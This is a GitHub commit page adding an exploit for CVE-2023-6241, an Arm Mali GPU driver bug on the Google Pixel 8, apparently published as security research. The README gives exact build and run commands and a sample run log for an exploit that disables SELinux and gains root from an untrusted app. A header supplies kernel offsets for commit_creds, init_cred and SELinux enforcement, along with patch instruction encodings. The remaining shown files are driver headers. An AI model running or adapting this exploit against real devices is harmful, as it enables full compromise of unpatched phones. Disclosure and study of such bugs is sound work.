Skip to content

Commit

Permalink
Initial commit
Browse files Browse the repository at this point in the history
  • Loading branch information
m-y-mo committed Mar 14, 2024
1 parent f95c3bb commit 279cfd1
Show file tree
Hide file tree
Showing 13 changed files with 3,461 additions and 0 deletions.
40 changes: 40 additions & 0 deletions SecurityExploits/Android/Mali/CVE_2023_6241/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
## Exploit for CVE-2023-6241

The write up can be found [here](). This is a bug in the Arm Mali kernel driver that I reported in November 2023. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root.

The exploit is tested on the Google Pixel 8 with the Novmember 2023 patch (`UD1A.231105.004`). It needs to be compiled with OpenCL and link with the OpenCL library `libGLES_mali.so`. The library can be found in a Pixel 8 device in `vendor/lib64/egl/libGLES_mali.so` and the OpenCL header files can be found in the KhronosGroup's [OpenCL-headers repository](https://github.com/KhronosGroup/OpenCL-Headers). The specific header that I used was the [v2023.04.17](https://github.com/KhronosGroup/OpenCL-Headers/releases/tag/v2023.04.17) version, although other versions should also work. For reference, I used the following command to compile with clang in ndk-26:

```
android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf
```

The exploit needs to be linked to `libGLES_mali.so`. This can be done by setting the `LD_LIBRARY_PATH` to `/vendor/lib64/egl`. The exploit rarely fails and even if it does, it does not normally corrupt or crash the system. So in case it failed, it can be rerun. If successful, it should disable SELinux and gain root.

```
shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_jit_csf
mali_fd 3
corrupted_jit_addr 6000001000
kernel success
kernel success
queue kernel
jit_grow addr 6000001000
Size after grow: 22f6
Final grow size: 23c7
keep alive jit_addr 60023d1000
Size after free: 21fd, trim_level 6
writing to gpu_va 6002301000
found reused page 5fffef6000, 0
pgd entry found at index 0 40000899bbc443
overwrite addr : 5ffff00b50 b50
overwrite addr : 5fffb00b50 b50
overwrite addr : 5fff900b50 b50
overwrite addr : 5ffff00714 714
overwrite addr : 5fffb00714 714
overwrite addr : 5fff900714 714
result 50
clean up
```

When running the first time, the exploit sometimes stalled after printing the last `overwrite addr` message. If that happens (stalled for more than 10 seconds, though pausing for a few seconds is normal), then simply kill the exploit and rerun it. It should not stall the second time.

To test it with MTE enabled, follow [these instructions](https://outflux.net/blog/archives/2023/10/26/enable-mte-on-pixel-8/) to enable kernel MTE.
16 changes: 16 additions & 0 deletions SecurityExploits/Android/Mali/CVE_2023_6241/firmware_offsets.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
#ifndef FIRMWARE_OFFSETS_H
#define FIRMWARE_OFFSETS_H

#define AVC_DENY_2311 0x806b50

#define SEL_READ_ENFORCE_2311 0x818714

#define INIT_CRED_2311 0x271bfa8

#define COMMIT_CREDS_2311 0x167b40

#define ADD_COMMIT_2311 0x912d0108 //add x8, x8, #0xb40

#define ADD_INIT_2311 0x913ea000 //add x0, x0, #0xfa8

#endif
11 changes: 11 additions & 0 deletions SecurityExploits/Android/Mali/CVE_2023_6241/log_utils.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
#ifndef LOG_UTILS_H
#define LOG_UTILS_H

#ifdef SHELL
#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__)
#else
#include <android/log.h>
#define LOG(fmt, ...) __android_log_print(ANDROID_LOG_ERROR, "exploit", fmt, ##__VA_ARGS__)
#endif

#endif
228 changes: 228 additions & 0 deletions SecurityExploits/Android/Mali/CVE_2023_6241/mali_base_common_kernel.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,228 @@
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
/*
*
* (C) COPYRIGHT 2022 ARM Limited. All rights reserved.
*
* This program is free software and is provided to you under the terms of the
* GNU General Public License version 2 as published by the Free Software
* Foundation, and any use by you of this program is subject to the terms
* of such GNU license.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, you can access it online at
* http://www.gnu.org/licenses/gpl-2.0.html.
*
*/

#ifndef _UAPI_BASE_COMMON_KERNEL_H_
#define _UAPI_BASE_COMMON_KERNEL_H_

#include <linux/types.h>
#include "mali_base_kernel.h"

#define LOCAL_PAGE_SHIFT 12

#define BASE_GPU_NUM_TEXTURE_FEATURES_REGISTERS 4

/* Memory allocation, access/hint flags & mask.
*
* See base_mem_alloc_flags.
*/

/* IN */
/* Read access CPU side
*/
#define BASE_MEM_PROT_CPU_RD ((base_mem_alloc_flags)1 << 0)

/* Write access CPU side
*/
#define BASE_MEM_PROT_CPU_WR ((base_mem_alloc_flags)1 << 1)

/* Read access GPU side
*/
#define BASE_MEM_PROT_GPU_RD ((base_mem_alloc_flags)1 << 2)

/* Write access GPU side
*/
#define BASE_MEM_PROT_GPU_WR ((base_mem_alloc_flags)1 << 3)

/* Execute allowed on the GPU side
*/
#define BASE_MEM_PROT_GPU_EX ((base_mem_alloc_flags)1 << 4)

/* Will be permanently mapped in kernel space.
* Flag is only allowed on allocations originating from kbase.
*/
#define BASEP_MEM_PERMANENT_KERNEL_MAPPING ((base_mem_alloc_flags)1 << 5)

/* The allocation will completely reside within the same 4GB chunk in the GPU
* virtual space.
* Since this flag is primarily required only for the TLS memory which will
* not be used to contain executable code and also not used for Tiler heap,
* it can't be used along with BASE_MEM_PROT_GPU_EX and TILER_ALIGN_TOP flags.
*/
#define BASE_MEM_GPU_VA_SAME_4GB_PAGE ((base_mem_alloc_flags)1 << 6)

/* Userspace is not allowed to free this memory.
* Flag is only allowed on allocations originating from kbase.
*/
#define BASEP_MEM_NO_USER_FREE ((base_mem_alloc_flags)1 << 7)

/* Grow backing store on GPU Page Fault
*/
#define BASE_MEM_GROW_ON_GPF ((base_mem_alloc_flags)1 << 9)

/* Page coherence Outer shareable, if available
*/
#define BASE_MEM_COHERENT_SYSTEM ((base_mem_alloc_flags)1 << 10)

/* Page coherence Inner shareable
*/
#define BASE_MEM_COHERENT_LOCAL ((base_mem_alloc_flags)1 << 11)

/* IN/OUT */
/* Should be cached on the CPU, returned if actually cached
*/
#define BASE_MEM_CACHED_CPU ((base_mem_alloc_flags)1 << 12)

/* IN/OUT */
/* Must have same VA on both the GPU and the CPU
*/
#define BASE_MEM_SAME_VA ((base_mem_alloc_flags)1 << 13)

/* OUT */
/* Must call mmap to acquire a GPU address for the allocation
*/
#define BASE_MEM_NEED_MMAP ((base_mem_alloc_flags)1 << 14)

/* IN */
/* Page coherence Outer shareable, required.
*/
#define BASE_MEM_COHERENT_SYSTEM_REQUIRED ((base_mem_alloc_flags)1 << 15)

/* Protected memory
*/
#define BASE_MEM_PROTECTED ((base_mem_alloc_flags)1 << 16)

/* Not needed physical memory
*/
#define BASE_MEM_DONT_NEED ((base_mem_alloc_flags)1 << 17)

/* Must use shared CPU/GPU zone (SAME_VA zone) but doesn't require the
* addresses to be the same
*/
#define BASE_MEM_IMPORT_SHARED ((base_mem_alloc_flags)1 << 18)

/* Should be uncached on the GPU, will work only for GPUs using AARCH64 mmu
* mode. Some components within the GPU might only be able to access memory
* that is GPU cacheable. Refer to the specific GPU implementation for more
* details. The 3 shareability flags will be ignored for GPU uncached memory.
* If used while importing USER_BUFFER type memory, then the import will fail
* if the memory is not aligned to GPU and CPU cache line width.
*/
#define BASE_MEM_UNCACHED_GPU ((base_mem_alloc_flags)1 << 21)

/*
* Bits [22:25] for group_id (0~15).
*
* base_mem_group_id_set() should be used to pack a memory group ID into a
* base_mem_alloc_flags value instead of accessing the bits directly.
* base_mem_group_id_get() should be used to extract the memory group ID from
* a base_mem_alloc_flags value.
*/
#define BASEP_MEM_GROUP_ID_SHIFT 22
#define BASE_MEM_GROUP_ID_MASK ((base_mem_alloc_flags)0xF << BASEP_MEM_GROUP_ID_SHIFT)

/* Must do CPU cache maintenance when imported memory is mapped/unmapped
* on GPU. Currently applicable to dma-buf type only.
*/
#define BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP ((base_mem_alloc_flags)1 << 26)

/* OUT */
/* Kernel side cache sync ops required */
#define BASE_MEM_KERNEL_SYNC ((base_mem_alloc_flags)1 << 28)

/* Number of bits used as flags for base memory management
*
* Must be kept in sync with the base_mem_alloc_flags flags
*/
#define BASE_MEM_FLAGS_NR_BITS 30

/* A mask for all output bits, excluding IN/OUT bits.
*/
#define BASE_MEM_FLAGS_OUTPUT_MASK BASE_MEM_NEED_MMAP

/* A mask for all input bits, including IN/OUT bits.
*/
#define BASE_MEM_FLAGS_INPUT_MASK \
(((1 << BASE_MEM_FLAGS_NR_BITS) - 1) & ~BASE_MEM_FLAGS_OUTPUT_MASK)

/* Special base mem handles.
*/
#define BASEP_MEM_INVALID_HANDLE (0ul)
#define BASE_MEM_MMU_DUMP_HANDLE (1ul << LOCAL_PAGE_SHIFT)
#define BASE_MEM_TRACE_BUFFER_HANDLE (2ul << LOCAL_PAGE_SHIFT)
#define BASE_MEM_MAP_TRACKING_HANDLE (3ul << LOCAL_PAGE_SHIFT)
#define BASEP_MEM_WRITE_ALLOC_PAGES_HANDLE (4ul << LOCAL_PAGE_SHIFT)
/* reserved handles ..-47<<PAGE_SHIFT> for future special handles */
#define BASE_MEM_COOKIE_BASE (64ul << LOCAL_PAGE_SHIFT)
#define BASE_MEM_FIRST_FREE_ADDRESS ((BITS_PER_LONG << LOCAL_PAGE_SHIFT) + BASE_MEM_COOKIE_BASE)

/* Flags to pass to ::base_context_init.
* Flags can be ORed together to enable multiple things.
*
* These share the same space as BASEP_CONTEXT_FLAG_*, and so must
* not collide with them.
*/
typedef __u32 base_context_create_flags;

/* Flags for base context */

/* No flags set */
#define BASE_CONTEXT_CREATE_FLAG_NONE ((base_context_create_flags)0)

/* Base context is embedded in a cctx object (flag used for CINSTR
* software counter macros)
*/
#define BASE_CONTEXT_CCTX_EMBEDDED ((base_context_create_flags)1 << 0)

/* Base context is a 'System Monitor' context for Hardware counters.
*
* One important side effect of this is that job submission is disabled.
*/
#define BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED ((base_context_create_flags)1 << 1)

/* Bit-shift used to encode a memory group ID in base_context_create_flags
*/
#define BASEP_CONTEXT_MMU_GROUP_ID_SHIFT (3)

/* Bitmask used to encode a memory group ID in base_context_create_flags
*/
#define BASEP_CONTEXT_MMU_GROUP_ID_MASK \
((base_context_create_flags)0xF << BASEP_CONTEXT_MMU_GROUP_ID_SHIFT)

/* Bitpattern describing the base_context_create_flags that can be
* passed to the kernel
*/
#define BASEP_CONTEXT_CREATE_KERNEL_FLAGS \
(BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED | BASEP_CONTEXT_MMU_GROUP_ID_MASK)

/* Flags for base tracepoint
*/

/* Enable additional tracepoints for latency measurements (TL_ATOM_READY,
* TL_ATOM_DONE, TL_ATOM_PRIO_CHANGE, TL_ATOM_EVENT_POST)
*/
#define BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS (1 << 0)

/* Indicate that job dumping is enabled. This could affect certain timers
* to account for the performance impact.
*/
#define BASE_TLSTREAM_JOB_DUMPING_ENABLED (1 << 1)

#endif /* _UAPI_BASE_COMMON_KERNEL_H_ */
Loading

0 comments on commit 279cfd1

Please sign in to comment.